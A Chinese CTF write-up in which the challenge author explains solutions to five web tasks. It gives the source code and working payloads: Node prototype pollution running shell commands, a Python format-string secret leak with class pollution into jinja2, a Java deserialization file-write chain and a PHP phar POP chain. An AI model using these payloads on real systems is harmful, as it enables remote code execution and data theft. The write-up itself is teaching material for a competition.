负责了Web和Misc方向的题目设计,这里记录一下本次Web方向的题解。
华容道
难度:签到
考点:js 前端代码基础
这题是一个使用 vue 写的前端小游戏,需要将大的正方形方块移动到指定位置获取胜利。修改了 https://conwnet.github.io/huarongdao/ 这个项目,选用了其中 “峰回路转” 这个布局,额外添加了胜利之后在界面上显示flag内容。
解法一 直接搜索布局解法,由于使用的布局是经典布局,虽然比较难,但是在互联网上是存在对应解法的。
解法二 根据逻辑,一般js小游戏都会有一个判断胜利的条件,尝试搜索 “win”,”success” 等关键字,可以发现存在如下内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 t.default = { components: { Grid: i.default }, props: ["unitSize", "layout"], data: function () { return { state: this.layout, answer: [], thinking: !1 } }, computed: { width: function () { return 4 * this.unitSize }, height: function () { return 5.5 * this.unitSize }, success: function () { return "5" === this.state[13] } }, .........
每次网格中的矩形发生变化时,就会计算当前的 this.state[13] 是否为 “5” (实际上仔细读代码能知道 this.state[13] 即为出口位置,”5”是大方块的一个表示,也即判断当前大方块是否在出口位置),我们可以尝试修改其值为true,并再移动一次方块即可获取flag内容。
warmup
难度:简单
考点:jade原型链污染
题目给出了 app.js 源码 和 package.json 文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 const express = require ('express' );const jade = require ('jade' );const bodyParser = require ('body-parser' );const jsYaml = require ('js-yaml' );const app = express ();app.set ('views' , __dirname); app.set ("view engine" , "jade" ); app.use (express.static ('public' )); app.use (bodyParser.text ({ type : 'application/x-yaml' })); let words = {}function merge (target, source ) { for (let key in source) { if (key in source && key in target) { merge (target[key], source[key]) } else { target[key] = source[key] } } } app.get ('/' , function (req, res ) { res.render ("index.jade" , { datas : words }); }); app.post ('/record' , (req, res ) => { if (req.body ){ merge (words, jsYaml.load (req.body )); } res.send ('success' ); }); app.listen (3000 , () => { console .log (`Server is running on http://localhost:3000` ); });
很明显存在 jade 原型链污染,但是数据解析使用的是自定义的 ‘application/x-yaml’ 形式,使用yaml解析器来解析yaml数据,所以需要将传统的json格式转为yaml格式即可。
payload POST
1 2 3 __proto__: self: 1 line: global.process.mainModule.require('child_process').exec('cat /flag > ./public/1.txt')
之后刷新一下首页,再去访问 /1.txt 即可获得flag内容
My Profile
难度:简单
考点:python 格式化字符串漏洞,python 原型链污染
通过查看首页源码,发现存在注释内容
1 <!-- /g3ts0uRce 接口记得删除 -->
访问该接口可以获取源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 import jsonfrom flask import Flask, render_template, request, sessionfrom koishi_secret import secretapp = Flask(__name__) app.config['SECRET_KEY' ] = secret class MyUser : def __init__ (self, name, age, info ): self.name = name self.age = age self.info = info def __str__ (self ): return "用户信息" def update (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : update(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : update(v, getattr (dst, k)) else : setattr (dst, k, v) instance = MyUser("阿卡林" , "今年刚满18" , "" ) @app.route('/' ,methods=['POST' , 'GET' ] ) @app.route('/index' ,methods=['POST' , 'GET' ] ) def index (): is_change = False data = {} if request.data: is_change = True data = json.loads(request.data) if session.get("role" ) == "admin" : data["info" ] = "修改成功" update(data, instance) else : try : name = data["name" ] if name != "" : instance.name = name except KeyError: pass try : age = data["age" ] if age != "" : instance.age = age except KeyError: pass if is_change: info = " *修改{0}成功(" + "姓名:" + instance.name + "; 年龄:" + instance.age + "岁)" instance.info = info.format (instance) return render_template("index.html" , user=instance) if __name__ == '__main__' : app.run('0.0.0.0' , 5000 )
通过上面的源码可以发现,update函数存在原型链污染问题,但是需要我们 role 为 admin,而 koishi_secret 文件中的 secret 无法直接获取。但是在渲染前可以发现format内容可控,存在格式化字符串问题,可以通过此处获取全局变量进而获取 secret 内容。
1 {0.__class__.__init__.__globals__}
拿到密钥后即可伪造任意用户,再传入原型链内容即可。
payload POST
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 Cookie: session=eyJyb2xlIjoiYWRtaW4ifQ.Zbcjzg.Fq7AIofnOt_VHZnZWB6IrV7oNBs { "__init__" : { "__globals__" : { "__loader__" : { "__init__" : { "__globals__" : { "sys" : { "modules" : { "jinja2" : { "runtime" : { "exported" : [ "*;__import__('os').system('/readflag >./static/1.txt');#" ] } } } } } } } } } }
然后直接访问 /static/1.txt 路由即可获取flag。
ezjava
难度:中等偏易
考点:软链接,java反序列化
题目附件给出了jar文件,反编译后查看源码,发现存在两个路由 /upload 和 /auth/backdoor,而 /upload 主要将上传的文件进行了解压操作, /auth/backdoor 则是常见的反序列化操作。
除此以外,还存在一个拦截器,每次访问 /auth/** 路由时,会读取 /app/security.txt 文件进行校验。
因此我们要反序列化,首先要去通过解压处使用软链接读密钥文件内容:
1 HaHaHaThisisMySecretFile
有这个key之后,我们就可以进行反序列化了。
反序列化黑名单如下,我们基本上限制死了直接执行命令的方式。
查看依赖中有 freemaker 和 aspectjweaver,所以我们可以修改首页内容进行模板注入。
随后打一个反序列化即可写文件,再访问首页即可
payload 1 2 3 4 5 6 7 8 9 10 11 12 Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); Constructor declaredConstructor = clazz.getDeclaredConstructor(String.class,int.class); declaredConstructor.setAccessible(true); HashMap map = (HashMap)declaredConstructor.newInstance("/app/templates/", 114514); ConstantTransformer constantTransformer = new ConstantTransformer("koishi_test!!!".getBytes(StandardCharsets.UTF_8)); Map outerMap = LazyMap.decorate(map,constantTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"index.ftl"); HashSet hashSet = new LinkedHashSet(1); hashSet.add(tiedMapEntry); outerMap.remove("index.ftl"); byte[] bytes = SerializerUtil.objectByteSerialize(hashSet); System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(bytes)));
FileCheck
难度:中等
考点:phar 反序列化,黑、白名单绕过,PHP 源码泄露漏洞
进入首页,发现没有任何突破口,抓包发现服务版本为 X-Powered-By: PHP/7.4.21
可以去读取源码
首先抓校验文件的请求,读取list.php
发现其中包含了 class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 <?php @error_reporting (0 ); class Neepu { public $n ; public $ne ; public $nee ; public function __destruct ( ) { unset ($this ->n->n); } public function __get ($name ) { $this ->ne->ne ($this ->nee); } public function __set ($name , $value ) { $this ->n = $value ; } } class Koishi { public $kk ; public $ii ; public $ss ; public function __toString ( ) { if ( ($this ->kk !== $this ->ii) && (md5 ($this ->kk) === md5 ($this ->ii)) && (sha1 ($this ->kk)=== sha1 ($this ->ii)) ){ $this ->ss->ss = "happy newYear" ; } return "I'm Ko1sh1" ; } } class Shruti { public $r ; public function __unset ($arg1 ) { if (empty ($this ->r->u)) { echo "ok, empty" ; } else { echo "nothing todo" ; } } public function __toString ( ) { return "I'm Shruti" ; } } class NewYear { public $date ; public $nYear ; public function __isset ($name ) { if (preg_match ("/^\d{4}-\d{2}-\d{2}$/" , $this ->nYear)) { $this ->date = date ("Y-m-d" ); } } public function __call ($name , $arguments ) { if (is_array ($arguments )) { foreach ($arguments as $value ) { if (preg_match ("/s|o|l|e/m" , $value , $matches )) { die ("no, bro!" ); } call_user_func ($value ); } } else { if (preg_match ("/s|o|l|e/m" , $arguments , $matches )) { die ("no, bro!" ); } call_user_func ($arguments ); } } public function __toString ( ) { return "距离新年还有:" . ceil ((strtotime ("2024-02-10" ) - strtotime (date ("Y-m-d" ))) / 86400 ) . " 天" ; } } class Obsolescent { public $o ; static function noWay ( ) { system ('/readflag' ); } public function __set ($name , $value ) { if ($this ->o->o) { $this ->o = $value ; } } }
发现起可以执行/readflag去读取flag,可以构造pop链。
但此时不存在反序列化的地方,注意到 list.php 调用了 mime_content_type
函数,所以我们可以尝试phar反序列化。
此外还需要注意一个地方,上传之后的文件校验了是否为图片文件,而且在写入的时候添加了部分内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php if ($_SERVER ["REQUEST_METHOD" ] == "POST" && isset ($_FILES ["file" ])) { $file = $_FILES ["file" ]; $fileTmpName = $file ["tmp_name" ]; $fileError = $file ["error" ]; if ($_FILES ["file" ]["size" ] == 0 ){ echo "<center><h1 style='color: red'>No file selected</h1></center>" ; } else if (($_FILES ["file" ]["size" ] < 204800 ) && getimagesize ($fileTmpName )) { if ($fileError === 0 ) { $fileContent = file_get_contents ($fileTmpName ); file_put_contents ("./uploads/temp.log" , "koishi like this:" . $fileContent ); echo "<center><h1 style='color: sandybrown'>koishi like this!!!</h1></center>" ; } else { echo "<center><h1 style='color: red'>badbad, koishi hate!</h1></center>" ; } } else { echo "<center><h1 style='color: red'>badbad, koishi hate!</h1></center>" ; } } ?>
所以我们需要进行简单的绕过,最终构造的pop链如下:
payload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 $Neepu = new Neepu ();$Shruti = new Shruti ();$NewYear = new NewYear ();$Koishi = new Koishi ();$Obsolescent = new Obsolescent ();$Neepu ->n = $Shruti ;$Shruti ->r = $NewYear ;$NewYear ->nYear = $Koishi ;$Koishi ->kk = array ("a" );$Koishi ->ii = array ("b" );$Koishi ->ss = $Obsolescent ;$Obsolescent ->o = $Neepu ;$Neepu ->ne = $NewYear ;$Neepu ->nee = "ObSOLEScEnt::nOWay" ;$filename = 'success.phar' ;file_exists ($filename ) ? unlink ($filename ) : null ;$phar =new Phar ($filename );$phar ->startBuffering ();$phar ->setStub ("koishi like this:GIF89a<?php __HALT_COMPILER(); ?>" );$phar ->setMetadata ($Neepu );$phar ->addFromString ("koishi.txt" ,"hello shruti" );$phar ->stopBuffering ();$file =substr (file_get_contents ($filename ),strlen ("koishi like this:" ));file_put_contents ("$filename " ,$file );
检查文件类型时需要包含 Ko1sh1 内容,由于filter对于过滤器的处理不严格,当过滤器存在异常内容时只会出现 Warming 提示,而不会终止程序,而mime_content_type也支持伪协议,所以最终我们使用的payload如下。
1 php://filter/Ko1sh1/resource=phar:///tmp/temp.log/koishi.txt